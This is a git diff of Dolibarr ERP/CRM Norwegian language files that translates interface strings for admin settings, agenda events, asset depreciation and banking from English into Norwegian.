LoadThirdPartyFromNameOrCreate=Legg inn tredjepartsøk på %s (opprett hvis ikke funnet) +LoadContactFromEmailOrCreate=Last inn kontaktsøk på %s (opprett hvis ikke funnet) AttachJoinedDocumentsToObject=Lagre vedlagte filer i objektdokumenter hvis en ref for et objekt blir funnet i e-postemne. WithDolTrackingID=Melding fra en samtale initiert av en første e-post sendt fra Dolibarr WithoutDolTrackingID=Melding fra en samtale initiert av en første e-post IKKE sendt fra Dolibarr @@ -2118,14 +2150,14 @@ CreateCandidature=Opprett jobbsøknad FormatZip=Postnummer MainMenuCode=Meny-oppføringskode (hovedmeny) ECMAutoTree=Vis ECM-tre automatisk  -OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Definer reglene som skal brukes for å trekke ut data eller angi verdier som skal brukes for drift.

      Eksempel: For å hente firmanavn fra epost-emne til en temporær variabel:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Eksempel: For å sette egenskaper for et objekt som skal opprettes:
      objproperty1=SET:hardkodet verdi
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:en verdi (verdien blir satt hvis den ikke allerede er definert)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:Mitt firmanavn er\\s([^\\s]*)

      Bruk ; som separator for å hente eller sette flere egenskaper. OpeningHours=Åpningstider OpeningHoursDesc=Skriv inn de vanlige åpningstidene for bedriften din. ResourceSetup=Konfigurasjon av ressursmodulen UseSearchToSelectResource=Bruk et søkeskjema for å velge en ressurs (i stedet for en nedtrekksliste). DisabledResourceLinkUser=Deaktiver funksjonen for å koble en ressurs til brukere DisabledResourceLinkContact=Deaktiver funksjonen for å koble en ressurs til kontakter -EnableResourceUsedInEventCheck=Prohibit the use of the same resource at the same time in the agenda +EnableResourceUsedInEventCheck=Forby bruk av samme ressurs på samme tid i agendaen ConfirmUnactivation=Bekreft nullstilling av modul OnMobileOnly=Kun på små skjermer (smarttelefon) DisableProspectCustomerType=Deaktiver tredjepartstypen "Prospekt + Kunde" (tredjepart må være "Prospekt" eller "Kunde", men kan ikke være begge) @@ -2170,7 +2202,7 @@ DeleteEmailCollector=Slett e-postsamler ConfirmDeleteEmailCollector=Er du sikker på at du vil slette denne e-postsamleren? RecipientEmailsWillBeReplacedWithThisValue=Mottakers e-postadresse vil alltid erstattes med denne verdien AtLeastOneDefaultBankAccountMandatory=Minst en standard bankkonto må være definert -RESTRICT_ON_IP=Allow API access to only certain client IPs (wildcard not allowed, use space between values). Empty means every clients can access. +RESTRICT_ON_IP=Tillat API-tilgang til kun visse klient-IP-er (jokertegn ikke tillatt, bruk mellomrom mellom verdier). Tom betyr at alle klienter har tilgang. IPListExample=127.0.0.1 192.168.0.2 [::1] BaseOnSabeDavVersion=Basert på biblioteket SabreDAV versjon NotAPublicIp=Ikke en offentlig IP @@ -2180,9 +2212,10 @@ EmailTemplate=Mal for e-post EMailsWillHaveMessageID=E-postmeldinger vil være merket 'Referanser' som samsvarer med denne syntaksen PDF_SHOW_PROJECT=Vis prosjekt på dokument ShowProjectLabel=Prosjektetikett -PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name -THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty -ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Ta med alias i tredjepartsnavn +THIRDPARTY_ALIAS=Navn tredjepart - Alias tredjepart +ALIAS_THIRDPARTY=Alias tredjepart - Navngi tredjepart +PDFIn2Languages=Vis etiketter i PDF på 2 forskjellige språk PDF_USE_ALSO_LANGUAGE_CODE=Hvis du vil at tekst i PDF-en din skal dupliseres på 2 forskjellige språk i samme genererte PDF, må du angi dette andre språket, slik at generert PDF vil inneholde 2 forskjellige språk på samme side, det som er valgt når du genererer PDF og dette ( bare få PDF-maler støtter dette). Hold tom for ett språk per PDF. PDF_USE_A=Lag PDF-dokumenter med PDF/A-format i stedet for standard-PDF FafaIconSocialNetworksDesc=Skriv inn koden til et FontAwesome-ikon. Hvis du ikke vet hva som er FontAwesome, kan du bruke den generelle verdien fa-adresseboken. @@ -2211,12 +2244,12 @@ MailToPartnership=Partnerskap AGENDA_EVENT_DEFAULT_STATUS=Standard hendelsesstatus når du oppretter en hendelse fra skjemaet YouShouldDisablePHPFunctions=Du bør deaktivere PHP-funksjoner IfCLINotRequiredYouShouldDisablePHPFunctions=Bortsett fra hvis du trenger å kjøre systemkommandoer i tilpasset kode, bør du deaktivere PHP-funksjoner -PHPFunctionsRequiredForCLI=For shell-formål (som planlagt jobbsikkerhetskopiering eller å kjøre et anitivurs-program), må du beholde PHP-funksjoner +PHPFunctionsRequiredForCLI=For skallformål (som planlagt jobbsikkerhetskopiering eller å kjøre et antivirusprogram), må du beholde PHP-funksjoner NoWritableFilesFoundIntoRootDir=Ingen skrivbare filer eller kataloger for de vanlige programmene ble funnet i rotkatalogen din (Bra) RecommendedValueIs=Anbefalt: %s Recommended=Anbefalt NotRecommended=Ikke anbefalt -ARestrictedPath=Noe begrenset sti +ARestrictedPath=Noen begrenset bane for datafiler CheckForModuleUpdate=Se etter oppdateringer for eksterne moduler CheckForModuleUpdateHelp=Denne handlingen kobles til editorer for eksterne moduler for å sjekke om en ny versjon er tilgjengelig. ModuleUpdateAvailable=En oppdatering er tilgjengelig @@ -2224,7 +2257,7 @@ NoExternalModuleWithUpdate=Ingen oppdateringer funnet for eksterne moduler SwaggerDescriptionFile=Swagger API-beskrivelsesfil (for bruk med f.eks redoc) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=Du har aktivert utdatert WS API. Du bør bruke REST API i stedet. RandomlySelectedIfSeveral=Tilfeldig valgt hvis flere bilder er tilgjengelige -SalesRepresentativeInfo=For Proposals, Orders, Invoices. +SalesRepresentativeInfo=For tilbud, ordre, fakturaer. DatabasePasswordObfuscated=Databasepassord er skjult i conf-filen DatabasePasswordNotObfuscated=Databasepassord er IKKE skjult i conf-filen APIsAreNotEnabled=API-moduler er ikke aktivert @@ -2246,12 +2279,12 @@ DashboardDisableBlockAdherent=Deaktiver knappen for medlemskap DashboardDisableBlockExpenseReport=Deaktiver knappen for utgiftsrapporter DashboardDisableBlockHoliday=Deaktiver knappen for permisjoner EnabledCondition=Betingelse for å ha felt aktivert (hvis ikke aktivert, vil synlighet alltid være av) -IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sales tax -IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sales tax +IfYouUseASecondTaxYouMustSetYouUseTheMainTax=Hvis du vil bruke en ekstra avgift, må du også aktivere den første omsetningsavgiften +IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=Hvis du vil bruke en tredje avgift, må du også aktivere den første omsetningsavgiften LanguageAndPresentation=Språk og presentasjon SkinAndColors=Bakgrunn og farger -IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sales tax -IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sales tax +IfYouUseASecondTaxYouMustSetYouUseTheMainTax=Hvis du vil bruke en ekstra avgift, må du også aktivere den første omsetningsavgiften +IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=Hvis du vil bruke en tredje avgift, må du også aktivere den første omsetningsavgiften PDF_USE_1A=Generer PDF med PDF/A-1b-format MissingTranslationForConfKey = Mangler oversettelse for %s NativeModules=Standard moduler @@ -2260,25 +2293,25 @@ API_DISABLE_COMPRESSION=Deaktiver komprimering av API-svar EachTerminalHasItsOwnCounter=Hver terminal bruker sin egen teller. FillAndSaveAccountIdAndSecret=Fyll ut og lagre konto-ID og hemmelighet først PreviousHash=Forrige hash -LateWarningAfter="Late" warning after -TemplateforBusinessCards=Template for a business card in different size +LateWarningAfter="For sen" advarsel etter +TemplateforBusinessCards=Mal for visittkort i forskjellige størrelser InventorySetup= Oppsett av varetelling -ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryMode=Bruk en modus for lite minne +ExportUseLowMemoryModeHelp=Bruk lav minne-modus for å generere dump-filen (komprimering gjøres gjennom en pipe i stedet for inn i PHP-minnet). Denne metoden tillater ikke å kontrollere at filen er fullstendig og feilmelding kan ikke rapporteres hvis den mislykkes. Bruk den hvis du opplever ikke nok minnefeil. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL -WebhookSetup = Webhook setup +ModuleWebhookDesc = Grensesnitt for å fange dolibarr-utløsere og sende data om hendelsen til en URL +WebhookSetup = Webhook oppsett Settings = Innstillinger -WebhookSetupPage = Webhook setup page -ShowQuickAddLink=Show a button to quickly add an element in top right menu +WebhookSetupPage = Webhook oppsettside +ShowQuickAddLink=Vis en knapp for raskt å legge til et element i menyen øverst til høyre -HashForPing=Hash used for ping -ReadOnlyMode=Is instance in "Read Only" mode -DEBUGBAR_USE_LOG_FILE=Use the dolibarr.log file to trap Logs -UsingLogFileShowAllRecordOfSubrequestButIsSlower=Use the dolibarr.log file to trap Logs instead of live memory catching. It allows to catch all logs instead of only log of current process (so including the one of ajax subrequests pages) but will make your instance very very slow. Not recommended. -FixedOrPercent=Fixed (use keyword 'fixed') or percent (use keyword 'percent') -DefaultOpportunityStatus=Default opportunity status (first status when lead is created) +HashForPing=Hash brukt til ping +ReadOnlyMode=Er forekomst i "Read Only"-modus +DEBUGBAR_USE_LOG_FILE=Bruk filen dolibarr.log for å fange logger +UsingLogFileShowAllRecordOfSubrequestButIsSlower=Bruk dolibarr.log-filen til å fange logger i stedet for å fange minne. Det gjør det mulig å fange opp alle logger i stedet for bare logg over gjeldende prosess (inkludert en av ajax subrequests-sider), men vil gjøre forekomsten veldig treg. Ikke anbefalt. +FixedOrPercent=Fast (bruk søkeordet «fast») eller prosent (bruk søkeordet «prosent») +DefaultOpportunityStatus=Standard mulighetsstatus (første status når potensielle salg opprettes) IconAndText=Ikon og tekst TextOnly=Kun tekst @@ -2287,23 +2320,59 @@ IconOnlyTextOnHover=Bare ikon - Teksten til ikonet vises under ikonet når musep IconOnly=Kun ikon - Kun tekst på verktøytips INVOICE_ADD_ZATCA_QR_CODE=Vis ZATCA QR-koden på fakturaer INVOICE_ADD_ZATCA_QR_CODEMore=Noen arabiske land trenger denne QR-koden på fakturaene sine -INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_ADD_SWISS_QR_CODE=Vis den sveitsiske QR-Bill-koden på fakturaer +INVOICE_SHOW_SHIPPING_ADDRESS=Vis leveringsadresse +INVOICE_SHOW_SHIPPING_ADDRESSMore=Obligatorisk omtale for Frankrike UrlSocialNetworksDesc=URL-lenke til sosialt nettverk. Bruk {socialid} for den variable delen som inneholder ID-en for det sosiale nettverket. -IfThisCategoryIsChildOfAnother=If this category is a child of another one -DarkThemeMode=Dark theme mode -AlwaysDisabled=Always disabled -AccordingToBrowser=According to browser -AlwaysEnabled=Always Enabled -DoesNotWorkWithAllThemes=Will not work with all themes -NoName=No name -ShowAdvancedOptions= Show advanced options -HideAdvancedoptions= Hide advanced options -CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: -OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module -MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service -DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module -MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method -UsePassword=Use a password -UseOauth=Use a OAUTH token -Images=Images -MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +IfThisCategoryIsChildOfAnother=Hvis denne kategorien er en underkategori av en annen +DarkThemeMode=Mørkt tema-modus +AlwaysDisabled=Alltid deaktivert +AccordingToBrowser=I følge nettleseren +AlwaysEnabled=Alltid aktivert +DoesNotWorkWithAllThemes=Fungerer ikke med alle temaer +NoName=Ingen navn +ShowAdvancedOptions= Vis avanserte innstillinger +HideAdvancedoptions= Skjul avanserte alternativer +CIDLookupURL=Modulen bringer en URL som kan brukes av et eksternt verktøy for å få navnet på en tredjepart eller kontakt fra telefonnummeret. URL som skal brukes er: +OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2-autentisering er ikke tilgjengelig for alle verter, og et token med de riktige tillatelsene må ha blitt opprettet oppstrøms med OAUTH-modulen +MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2-autentiseringstjeneste +DontForgetCreateTokenOauthMod=Et token med de riktige tillatelsene må ha blitt opprettet oppstrøms med OAUTH-modulen +MAIN_MAIL_SMTPS_AUTH_TYPE=Autentifiseringsmetode +UsePassword=Bruk et passord +UseOauth=Bruk et OAUTH-token +Images=Bilder +MaxNumberOfImagesInGetPost=Maks antall bilder tillatt i et HTML-felt sendt inn i et skjema +MaxNumberOfPostOnPublicPagesByIP=Maks antall innlegg på offentlige sider med samme IP-adresse i løpet av en måned +CIDLookupURL=Modulen bringer en URL som kan brukes av et eksternt verktøy for å få navnet på en tredjepart eller kontakt fra telefonnummeret. URL som skal brukes er: +ScriptIsEmpty=Skriptet er tomt +ShowHideTheNRequests=Vis/skjul %s SQL-forespørsel(er) +DefinedAPathForAntivirusCommandIntoSetup=Definer en bane for et antivirusprogram til %s +TriggerCodes=Utløsbare hendelser +TriggerCodeInfo=Skriv inn triggerkoden(e) her som må generere et innlegg av en nettforespørsel (kun ekstern URL er tillatt). Du kan angi flere utløserkoder atskilt med komma. +EditableWhenDraftOnly=Hvis det ikke er merket av, kan verdien bare endres når objektet har en utkaststatus +CssOnEdit=CSS på redigeringssider +CssOnView=CSS på visningssider +CssOnList=CSS på listesider +HelpCssOnEditDesc=CSS-en som brukes når du redigerer feltet.
      Eksempel: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=CSS-en som brukes når du ser på feltet. +HelpCssOnListDesc=CSS-en som brukes når feltet er inne i en listetabell.
      Eksempel: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Skjul det bestilte antallet på de genererte dokumentene for mottak +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Vis prisen på de genererte dokumentene for mottak +WarningDisabled=Advarsel deaktivert +LimitsAndMitigation=Tilgangsgrenser og tiltak +DesktopsOnly=Bare stasjonære datamaskiner +DesktopsAndSmartphones=Stasjonære datamaskiner og smarttelefoner +AllowOnlineSign=Tillat nettsignering +AllowExternalDownload=Tillat ekstern nedlasting (uten pålogging, ved hjelp av en delt lenke) +DeadlineDayVATSubmission=Frist for innbetaling av MVA neste måned +MaxNumberOfAttachementOnForms=Maks antall sammenføyde filer i et skjema +IfDefinedUseAValueBeetween=Hvis definert, bruk en verdi mellom %s og %s +Reload=Last inn på nytt +ConfirmReload=Bekreft modulinnlasting +WarningModuleHasChangedLastVersionCheckParameter=Advarsel: modulen %s har satt en parameter for å sjekke versjonen ved hver sidetilgang. Dette er en dårlig og ikke tillatt praksis som kan gjøre siden for å administrere moduler ustabil. Ta kontakt med forfatteren av modulen for å fikse dette. +WarningModuleHasChangedSecurityCsrfParameter=Advarsel: modulen %s har deaktivert CSRF-sikkerheten til forekomsten din. Denne handlingen er mistenkelig, og installasjonen din er kanskje ikke lenger sikret. Ta kontakt med forfatteren av modulen for forklaring. +EMailsInGoingDesc=Innkommende e-poster administreres av modulen %s. Du må aktivere og konfigurere den hvis du trenger å støtte inngående e-post. +MAIN_IMAP_USE_PHPIMAP=Bruk PHP-IMAP-biblioteket for IMAP i stedet for opprinnelig PHP IMAP. Dette tillater også bruk av en OAuth2-tilkobling for IMAP (modul OAuth må også være aktivert). +MAIN_CHECKBOX_LEFT_COLUMN=Vis kolonnen for felt- og linjevalg til venstre (til høyre som standard) + +CSSPage=CSS-stil diff --git a/htdocs/langs/nb_NO/agenda.lang b/htdocs/langs/nb_NO/agenda.lang index 16061b4786f..5a4d68a2cd2 100644 --- a/htdocs/langs/nb_NO/agenda.lang +++ b/htdocs/langs/nb_NO/agenda.lang @@ -45,7 +45,7 @@ CONTRACT_DELETEInDolibarr=Kontrakt %s slettet PropalClosedSignedInDolibarr=Tilbud %s signert PropalClosedRefusedInDolibarr=Tilbud %s avvist PropalValidatedInDolibarr=Tilbud godkjent -PropalBackToDraftInDolibarr=Proposal %s go back to draft status +PropalBackToDraftInDolibarr=Tilbud %s går tilbake til utkaststatus PropalClassifiedBilledInDolibarr=Tilbud %s klassifisert betalt InvoiceValidatedInDolibarr=Faktura %s validert InvoiceValidatedInDolibarrFromPos=Faktura %s validert fra POS @@ -57,6 +57,7 @@ MemberValidatedInDolibarr=Medlem %s validert MemberModifiedInDolibarr=Medlem %s endret MemberResiliatedInDolibarr=Medlem %s terminert MemberDeletedInDolibarr=Medlem %s slettet +MemberExcludedInDolibarr=Medlem %s ekskludert MemberSubscriptionAddedInDolibarr=Abonnement %s for medlem %s lagt til MemberSubscriptionModifiedInDolibarr=Abonnement %s for medlem %s endret MemberSubscriptionDeletedInDolibarr=Abonnement %s for medlem %s slettet @@ -67,7 +68,8 @@ ShipmentBackToDraftInDolibarr=Sett levering %s tilbake til utkaststatus ShipmentDeletedInDolibarr=Leveranse %s slettet ShipmentCanceledInDolibarr=Forsendelse %s kansellert ReceptionValidatedInDolibarr=Mottak %s validert -ReceptionClassifyClosedInDolibarr=Reception %s classified closed +ReceptionDeletedInDolibarr=Mottak %s slettet +ReceptionClassifyClosedInDolibarr=Mottaket %s klassifisert stengt OrderCreatedInDolibarr=Ordre %s opprettet OrderValidatedInDolibarr=Ordre %s validert OrderDeliveredInDolibarr=Ordre %s klassifisert som levert @@ -86,6 +88,7 @@ SupplierInvoiceSentByEMail=Leverandørfaktura %s sendt via epost ShippingSentByEMail=Forsendelse %s sendt via epost ShippingValidated= Forsendelse %s validert InterventionSentByEMail=Intervensjon %s sendt via epost +ProjectSentByEMail=Prosjekt %s sendt på e-post ProposalDeleted=Tilbud slettet OrderDeleted=Ordre slettet InvoiceDeleted=Faktura slettet @@ -159,6 +162,7 @@ DateActionBegin=Startdato for hendelse ConfirmCloneEvent=Er du sikker på at du vil klone hendelsen %s? RepeatEvent=Gjenta hendelse OnceOnly=Kun en gang +EveryDay=Hver dag EveryWeek=Hver uke EveryMonth=Hver måned DayOfMonth=Dag i måned @@ -173,4 +177,6 @@ ReminderType=Tilbakekallingstype AddReminder=Opprett et automatisk varsel for denne hendelsen ErrorReminderActionCommCreation=Feil ved oppretting av varselet for denne hendelsen BrowserPush=Varsling om nettleser-popup -ActiveByDefault=Enabled by default +Reminders=Påminnelser +ActiveByDefault=Aktivert som standard +Until=til diff --git a/htdocs/langs/nb_NO/assets.lang b/htdocs/langs/nb_NO/assets.lang index fc6ee6f270b..17888c6a4be 100644 --- a/htdocs/langs/nb_NO/assets.lang +++ b/htdocs/langs/nb_NO/assets.lang @@ -73,8 +73,8 @@ Asset=Ressurs Assets=Aktiva AssetReversalAmountHT=Tilbakeføringsbeløp (uten avgifter) AssetAcquisitionValueHT=Anskaffelsesbeløp (uten avgifter) -AssetRecoveredVAT=Recovered VAT -AssetReversalDate=Reversal date +AssetRecoveredVAT=Gjenvunnet MVA +AssetReversalDate=Reverseringsdato AssetDateAcquisition=Anskaffelsesdato AssetDateStart=Dato for oppstart AssetAcquisitionType=Type anskaffelse @@ -103,8 +103,8 @@ AssetRecorded=Regnskapsført AssetDisposalDate=Dato for avhending AssetDisposalAmount=Avhendingsverdi AssetDisposalType=Type avhending -AssetDisposalDepreciated=Depreciate the year of transfer -AssetDisposalSubjectToVat=Disposal subject to VAT +AssetDisposalDepreciated=Avskriv overføringsåret +AssetDisposalSubjectToVat=Avhending MVA-pliktig # # Asset model @@ -128,10 +128,10 @@ AssetDepreciationOptionDurationType=Type varighet AssetDepreciationOptionDurationTypeAnnual=Årlig AssetDepreciationOptionDurationTypeMonthly=Månedlig AssetDepreciationOptionDurationTypeDaily=Daglig -AssetDepreciationOptionRate=Rate (%%) +AssetDepreciationOptionRate=Takst (%%) AssetDepreciationOptionAmountBaseDepreciationHT=Avskrivningsgrunnlag (ekskl. mva) AssetDepreciationOptionAmountBaseDeductibleHT=Egenandelsgrunnlag (ekskl. mva) -AssetDepreciationOptionTotalAmountLastDepreciationHT=Total amount last depreciation (excl. VAT) +AssetDepreciationOptionTotalAmountLastDepreciationHT=Totalbeløp siste avskrivning (ekskl. MVA) # # Asset accountancy codes @@ -139,24 +139,24 @@ AssetDepreciationOptionTotalAmountLastDepreciationHT=Total amount last depreciat AssetAccountancyCodeDepreciationEconomic=Økonomisk avskrivning AssetAccountancyCodeAsset=Ressurs AssetAccountancyCodeDepreciationAsset=Avskrivninger -AssetAccountancyCodeDepreciationExpense=Depreciation expense -AssetAccountancyCodeValueAssetSold=Value of asset disposed -AssetAccountancyCodeReceivableOnAssignment=Receivable on disposal +AssetAccountancyCodeDepreciationExpense=Avskrivninger +AssetAccountancyCodeValueAssetSold=Verdien av avhendet eiendel +AssetAccountancyCodeReceivableOnAssignment=Tilgodehavende ved avhending AssetAccountancyCodeProceedsFromSales=Inntekter fra avhending AssetAccountancyCodeVatCollected=Innkrevd MVA AssetAccountancyCodeVatDeductible=Gjenvunnet merverdiavgift på eiendeler AssetAccountancyCodeDepreciationAcceleratedDepreciation=Akselerert avskrivning (skatt) AssetAccountancyCodeAcceleratedDepreciation=Konto -AssetAccountancyCodeEndowmentAcceleratedDepreciation=Depreciation expense -AssetAccountancyCodeProvisionAcceleratedDepreciation=Repossession/Provision +AssetAccountancyCodeEndowmentAcceleratedDepreciation=Avskrivninger +AssetAccountancyCodeProvisionAcceleratedDepreciation=Tilbaketakelse/provisjon # # Asset depreciation # -AssetBaseDepreciationHT=Depreciation basis (excl. VAT) -AssetDepreciationBeginDate=Start of depreciation on +AssetBaseDepreciationHT=Avskrivningsgrunnlag (ekskl. mva) +AssetDepreciationBeginDate=Start av avskrivning pr AssetDepreciationDuration=Varighet -AssetDepreciationRate=Rate (%%) +AssetDepreciationRate=Takst (%%) AssetDepreciationDate=Avskrivningsdato AssetDepreciationHT=Avskrivninger (ekskl. mva) AssetCumulativeDepreciationHT=Akkumulerte avskrivninger (ekskl. mva) @@ -168,19 +168,19 @@ AssetDepreciationReversal=Reversering # # Errors # -AssetErrorAssetOrAssetModelIDNotProvide=Id of the asset or the model sound has not been provided -AssetErrorFetchAccountancyCodesForMode=Error when retrieving the accounting accounts for the '%s' depreciation mode -AssetErrorDeleteAccountancyCodesForMode=Error when deleting accounting accounts from the '%s' depreciation mode -AssetErrorInsertAccountancyCodesForMode=Error when inserting the accounting accounts of the depreciation mode '%s' -AssetErrorFetchDepreciationOptionsForMode=Error when retrieving options for the '%s' depreciation mode -AssetErrorDeleteDepreciationOptionsForMode=Error when deleting the '%s' depreciation mode options -AssetErrorInsertDepreciationOptionsForMode=Error when inserting the '%s' depreciation mode options -AssetErrorFetchDepreciationLines=Error when retrieving recorded depreciation lines -AssetErrorClearDepreciationLines=Error when purging recorded depreciation lines (reversal and future) -AssetErrorAddDepreciationLine=Error when adding a depreciation line -AssetErrorCalculationDepreciationLines=Error when calculating the depreciation lines (recovery and future) -AssetErrorReversalDateNotProvidedForMode=The reversal date is not provided for the '%s' depreciation method -AssetErrorReversalDateNotGreaterThanCurrentBeginFiscalDateForMode=The reversal date must be greater than or equal to the beginning of the current fiscal year for the '%s' depreciation method -AssetErrorReversalAmountNotProvidedForMode=The reversal amount is not provided for the depreciation mode '%s'. -AssetErrorFetchCumulativeDepreciation=Error when retrieving the accumulated depreciation amount from the depreciation line -AssetErrorSetLastCumulativeDepreciation=Error when recording the last accumulated depreciation amount +AssetErrorAssetOrAssetModelIDNotProvide=Aktiva-ID eller modell-ID er ikke oppgitt +AssetErrorFetchAccountancyCodesForMode=Feil ved henting av regnskapskonto for '%s' avskrivningsmodus +AssetErrorDeleteAccountancyCodesForMode=Feil ved sletting av regnskapskontoer fra '%s' avskrivningsmodus +AssetErrorInsertAccountancyCodesForMode=Feil ved innsetting av regnskapskontoer for avskrivningsmodus '%s' +AssetErrorFetchDepreciationOptionsForMode=Feil ved henting av alternativer for '%s' avskrivningsmodus +AssetErrorDeleteDepreciationOptionsForMode=Feil ved sletting av '%s' alternativer for avskrivningsmodus +AssetErrorInsertDepreciationOptionsForMode=Feil ved innsetting av '%s' alternativer for avskrivningsmodus +AssetErrorFetchDepreciationLines=Feil ved henting av registrerte avskrivningslinjer +AssetErrorClearDepreciationLines=Feil ved tømming av registrerte avskrivningslinjer (reversering og fremtidig) +AssetErrorAddDepreciationLine=Feil ved å legge til en avskrivningslinje +AssetErrorCalculationDepreciationLines=Feil ved beregning av avskrivningslinjene (gjenvinning og fremtidig) +AssetErrorReversalDateNotProvidedForMode=Tilbakeføringsdatoen er ikke oppgitt for '%s' avskrivningsmetoden +AssetErrorReversalDateNotGreaterThanCurrentBeginFiscalDateForMode=Tilbakeføringsdatoen må være større enn eller lik begynnelsen av inneværende regnskapsår for avskrivningsmetoden '%s' +AssetErrorReversalAmountNotProvidedForMode=Tilbakeføringsbeløpet er ikke oppgitt for avskrivningsmodus '%s'. +AssetErrorFetchCumulativeDepreciation=Feil ved henting av akkumulert avskrivningsbeløp fra avskrivningslinjen +AssetErrorSetLastCumulativeDepreciation=Feil ved registrering av siste akkumulerte avskrivningsbeløp diff --git a/htdocs/langs/nb_NO/banks.lang b/htdocs/langs/nb_NO/banks.lang index 16826ef708e..f4795eb03a9 100644 --- a/htdocs/langs/nb_NO/banks.lang +++ b/htdocs/langs/nb_NO/banks.lang @@ -49,6 +49,9 @@ BankAccountDomiciliation=Bankadresse BankAccountCountry=Konto land BankAccountOwner=Kontoeier BankAccountOwnerAddress=Kontoeiers adresse +BankAccountOwnerZip=Kontoeier postnummer +BankAccountOwnerTown=Kontoeier by +BankAccountOwnerCountry=Kontoeier land CreateAccount=Opprett konto NewBankAccount=Ny konto NewFinancialAccount=Ny hovedbokskonto @@ -108,13 +111,13 @@ SocialContributionPayment=Betaling av skatter og avgifter BankTransfer=Kredittoverføring BankTransfers=Kredittoverføringer MenuBankInternalTransfer=Intern overførsel -TransferDesc=Use internal transfer to transfer from one account to another, the application will write two records: a debit in the source account and a credit in the target account. The same amount, label and date will be used for this transaction. +TransferDesc=Bruk intern overføring for å overføre fra en konto til en annen, applikasjonen vil skrive to poster: en debet på kildekontoen og en kreditt på målkontoen. Samme beløp, etikett og dato vil bli brukt for denne transaksjonen. TransferFrom=Fra TransferTo=Til TransferFromToDone=En overføring fra %s til %s%s %s er registrert. CheckTransmitter=Avsender ValidateCheckReceipt=Valider sjekkvittering? -ConfirmValidateCheckReceipt=Are you sure that you want to submit this check receipt for validation? No changes will be possible once validated. +ConfirmValidateCheckReceipt=Er du sikker på at du vil sende inn denne sjekkkvitteringen for validering? Ingen endringer vil være mulig når de er validert. DeleteCheckReceipt=Slett denne sjekkvitteringen? ConfirmDeleteCheckReceipt=Er du sikker på at du vil slette denne sjekkvitteringen? BankChecks=Banksjekker @@ -141,7 +144,7 @@ AllAccounts=Alle bank- og kontantkontoer BackToAccount=Tilbake til kontoen ShowAllAccounts=Vis for alle kontoer FutureTransaction=Fremtidig transaksjon. Kan ikke avstemme. -SelectChequeTransactionAndGenerate=Select/filter the checks which are to be included in the check deposit receipt. Then, click on "Create". +SelectChequeTransactionAndGenerate=Velg/filtrer sjekkene som skal inkluderes i sjekkinnskuddskvitteringen. Klikk deretter på "Opprett". InputReceiptNumber=Velg kontoutskriften som hører til avstemmingen. Bruke en sorterbar numerisk verdi: YYYYMM eller YYYYMMDD EventualyAddCategory=Til slutt, velg en kategori for å klassifisere postene ToConciliate=Slå sammen? @@ -172,8 +175,8 @@ SEPAMandate=SEPA mandat YourSEPAMandate=Ditt SEPA-mandat FindYourSEPAMandate=Dette er ditt SEPA-mandat for å autorisere vårt firma til å utføre direktedebitering til din bank. Send det i retur signert (skanning av det signerte dokumentet) eller send det via post til AutoReportLastAccountStatement=Fyll feltet 'Antall bankoppgaver' automatisk med siste setningsnummer når du avstemmer -CashControl=POS cash control -NewCashFence=New cash control (opening or closing) +CashControl=POS kontantkontroll +NewCashFence=Ny kontantkontroll (åpning eller lukking) BankColorizeMovement=Fargelegg bevegelser BankColorizeMovementDesc=Hvis denne funksjonen er aktivert, kan du velge spesifikk bakgrunnsfarge for debet- eller kredittbevegelser BankColorizeMovementName1=Bakgrunnsfarge for debetbevegelse @@ -181,7 +184,7 @@ BankColorizeMovementName2=Bakgrunnsfarge for kredittbevegelse IfYouDontReconcileDisableProperty=Hvis du ikke foretar bankavstemninger på noen bankkontoer, deaktiverer du egenskapen"%s" for å fjerne denne advarselen. NoBankAccountDefined=Ingen bankkonto definert NoRecordFoundIBankcAccount=Ingen poster funnet på bankkontoen. 